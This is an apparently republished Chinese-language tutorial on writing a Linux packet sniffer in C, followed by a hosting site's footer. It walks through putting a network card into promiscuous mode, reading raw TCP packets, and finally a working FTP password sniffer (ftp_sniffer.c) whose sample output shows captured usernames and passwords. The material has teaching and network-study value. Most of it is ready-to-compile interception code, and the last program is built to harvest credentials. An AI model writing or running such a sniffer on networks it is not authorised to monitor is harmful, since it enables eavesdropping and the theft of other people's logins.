Linux下sniffer的編寫(新手上路)

來源:互聯網
上載者:User
Sniffer程式是把NIC(網路適配卡,一般如乙太網路卡)置為一種叫promiscuous雜亂模式的狀態,一旦網卡設定為這種模式,它就能是 sniffer程式能接受傳輸在網路上的每一個資訊包。普通的情況下,網卡只接受和自己的地址有關的資訊包,即傳輸到本地主機的資訊包。要使 sniffer能接受處理這種方式的資訊,網卡就必須設定為我們剛開始將的雜亂模式,所以需要Root使用者來運行這種sniffer程式,所以大家知道 sniffer需要root身份安裝,而你即使以本機使用者進入了系統,你也嗅探不到root的密碼,因為不能運行sniffer.
所以編寫sniffer的步驟為:
1. set promiscuous, 設定網卡為雜亂模式.
2. sniffer network packet 監聽網路資料包
3. Decode packet 對資料包解碼(當然你要對網路資料的構成要有所瞭解)
第一步:
在linux 下,非常簡單的用ifconfig來, 使你要的網卡設定成雜亂模式
[root/chi root]#ifconfig
eth0  Link encap: Ethernet HWadd 00:50:56:46:40:41
  inet addr: 192.168.25.3 Bcast: 192.168.25.255 Mask: 255.255.255.0
  UP BROADCAST RUNNING MULTICSAT MUT:1500
  .....................
[root/chi root]#ifconfig eht0 promisc
[root/chi root]#
用ifconfig把網卡eth0設定成雜亂模式.當然這隻是對ifconfig的利用, 如何自己寫個setpromisc.c
如下:
/*****************************set_promisc.c**************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#define INTERFACE "eth0"          /* 預設網卡 */
main(int argc,char *argv[])
{
int sock;
char *inter;    
if(argc == 1)    
inter = INTERFACE;
if(argc ==2)
inter = argv[1];
if(argc >2) {
printf("usage: %s <interface> /n",argv[0]);
exit(0);
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) <0) { /* 定義通訊端為SOCK_RAW */
printf("The raw socket was not created/n");
exit(0);
}
set_promisc(inter,sock);
}
int set_promisc(char *interface, int sock ) {      /* 雜亂模式函數 */
struct ifreq ifr;                    /* ifreg結構 */
strncpy(ifr.ifr_name, interface,strlen(interface)+1);  /* 輸入網卡名 */
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {      /* 接收網卡訊號 */
printf("Could not retrive flags for the interface/n");
exit(0);
}
printf("The interface is ::: %s/n", interface);
ifr.ifr_flags |= IFF_PROMISC;              /* 設定網卡訊號 = IFF_PROMISC */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc mode/n", interface);
}
/*****************************************************************/
使用:
[root/chi root]#gcc -o set_promisc set_promisc.c
[root/chi root]#./set_promisc
The interface is ::: eth0
Setting interface ::: eth0 ::: to promisc mode
[root/chi root]#
第2步
寫個tcpview.c來查看網路的資訊,當然你要先瞭解網路資料包的構成,資料包大都採用封包的格式,先看看Tcp/IP協議吧
這個協議遵守一個四層的模型概念:應用程式層、傳輸層、互聯層和網路介面層。
________________________
|  Application Layer  |   應用程式層 - 應用程式 Telnet Ftp等等
|_______________________|
|  Transport Layer   |   傳輸層 - 傳輸協議在電腦之間提供通訊會話 。
|_______________________|        傳輸控制通訊協定TCP;使用者資料報協UDP
|  Internet Layer   |   互聯層 - 互聯協議將資料包封裝成internet資料包  
|_______________________|
| Network Access Layer | 網路介面層 - 負責資料幀的發送和接收.
|_______________________|                  
瞭解Tcp/ip的應用後,也許你還會聯想到OSI模式, 不過共同點是每個要發送到網路的資料就要經過處理(封包).
_____________________
|   Ethernet    |       一個用TFTP來發送的資料包.
| ________________  |       1. 用Tftp來封裝資料
| |   IP    | |       2. 使用使用者資料報協UDP;
| | |------------| | |       3. 使用互聯協議IP
| | |  UDP   | | |       4. 通過網路介面並發送
| | | __________ | | |
| | ||  TFTP  || | |
| | || ________ || | |
| | ||| DATA ||| | |
|_|_|||________|||_|__|
對Tcp和ip協議的簡述, 我就一筆代過, 不過你還是要瞭解下, 在Linux(Redht 7.3)下對他們的定以,開啟/usr/include/netinet/ip.h
struct iphdr {
       unsigned int version:4; /* 版本 */
       unsigned int ihl:4;   /* Internet包頭長度 */
       u_int8_t tos;      /* 服務類型 */
       u_int16_t tot_len;    /* 總長度 */
       u_int16_t id;      /* 標識 */
       u_int16_t frag_off;   /* 段位移量 */
       u_int8_t ttl;      /* 存留時間 */
       u_int8_t protocol;    /* 協議 */
       u_int16_t check;     /* 頭校正碼 */
       u_int32_t saddr;     /* 源地址*/
       u_int32_t daddr;     /* 目的地址 */
      };
開啟/usr/include/netinet/tcp.h
struct tcphdr {
       u_int16_t source;  /* 源連接埠 */
       u_int16_t dest;   /* 目的連接埠 */
       u_int32_t seq;    /* 序列碼 */
       u_int32_t ack_seq;  /* 確認碼 */
       u_int16_t res1:4;
       u_int16_t doff:4;
       u_int16_t fin:1;
       u_int16_t syn:1;
       u_int16_t rst:1;
       u_int16_t psh:1;
       u_int16_t ack:1;
       u_int16_t urg:1;
       u_int16_t res2:2;
       u_int16_t window;  /* 視窗 */
       u_int16_t check;   /* 校正位 */
       u_int16_t urg_ptr;  /* 優先指標 */
      };
   
有的sniffer則使用自己定一的tcp.h和ip.h,不過內容不變;
/***********************tcp_view.c *******************************/
#include <stdio.h>   /* 對printf(), std_out等基本命令的定義 */
#include <sys/socket.h> /* 對SOCKET_RAW和網路通訊協定的定義 */
#include <netinet/in.h> /* 對sockaddr_in的定義 */
#include <arpa/inet.h> /* 對於網路資料轉換的定義, 如ntohs等 */
#include <netinet/ip.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
main()
{
int sock,bytes_received,len;
char buffer[65535];
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) {    /* 使用SOCK_RAW */
printf("sniffer failt/n");
exit(0);
}
while(1)
{
len = sizeof(addr);
bytes_received = recvfrom(sock,(char *)buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&len);
printf("/nBytes received %5d/n",bytes_received);
printf("Source address %s /n",inet_ntoa(addr.sin_addr));
ip = (struct iphdr *)buffer;                 /* 格式化buffer的內容 */
printf("IP hearder length %d/n",ip->tot_len);
printf("Protocol %d/n",ip->protocol);
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr));    /* 格式化ip資料後面的buffer內容 */
printf("Source port %d/n",ntohs(tcp->source));
printf("Dest port %d /n",ntohs(tcp->dest));
}
}
/****************************************************************************/
[root/chi root]#ifconfig eth0 promisc
[root/chi root]#gcc -o tcp_view tcp_view.c
[root/chi root]#./tcp_view
然後我用別的電腦telnet這台主機
[root/chi root]#./tcp_view
Bytes received  40
Source address 192.168.25.1
IP hearder length 10240
Protocol 6
Source port 3173
Dest port 23
第3步
對sniffer到的內容的讀取. 在瞭解封包的結構後要如何把資料提出來呢, 看招.
/************************ftp_sniffer.c****************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#define FTP 21
#define INTERFACE "eth0"                      /* 網卡 */
int set_promisc(char *interface,int sock)              /* 雜亂模式 */
{
struct ifreq ifr;
strncpy(ifr.ifr_name, interface,strlen(interface)+1);
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
printf("Could not retrive flags for the interface/n");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc/n", interface);
}
main()
{
struct iphdr *ip;
struct tcphdr *tcp;
struct sockaddr_in addr;
char buffer[1024];
char *data;
int sock,byte_size,addrlen;
addrlen = sizeof(addr);
if(( sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) {   /* 使用SOCK_RAW */
printf("socket failt /n");
exit(0);
}
set_promisc(INTERFACE,sock);
ip = (struct iphdr *)buffer;                  /* 格式化buffer */
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr));      /* 格式化去掉iphdr後的buffer */
while(1)
{
byte_size = recvfrom(sock,(char *)&buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&addrlen);
if((ntohs(tcp->dest)) == FTP)                  /* sniffer FTP 密碼 */
{
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)];  /* data 等於去掉iphdr和tcphdr後的buffer內容 */
printf("data: %s",data);
}
}
}
/*************************************************************************/
上面這個是一個簡單的ftp密碼sniffer.運行結果:
[root/chi tmp]#gcc -o ftp_sniffer ftp_sniffer.c
[root/chi tmp]#./ftp_sniffer
我在別的主機嘗試ftp到這個開了sniffer的電腦上,寫上使用者名稱, 密碼;
[root/chi tmp]#./ftp_sniffer
data: Z 07:32:41 EDT 2002
......同上
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: USER chi
07:32:41 EDT 2002
......同上
data: USER chi           <------------- 使用者名稱
07:32:41 EDT 2002
data: PASS password         <------------- 密碼
:41 EDT 2002
data: PASS password
:41 EDT 2002
data: SYST
.........
^c
[root/chi tmp]#
看到這裡, 你就寫出了自己的sniffer了, 當然功能有待擴充, 不過網路上也有好多這樣的sniffer程式,比如sniffit,tcpdump,dsniff.等等, 都是很好的選擇.
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.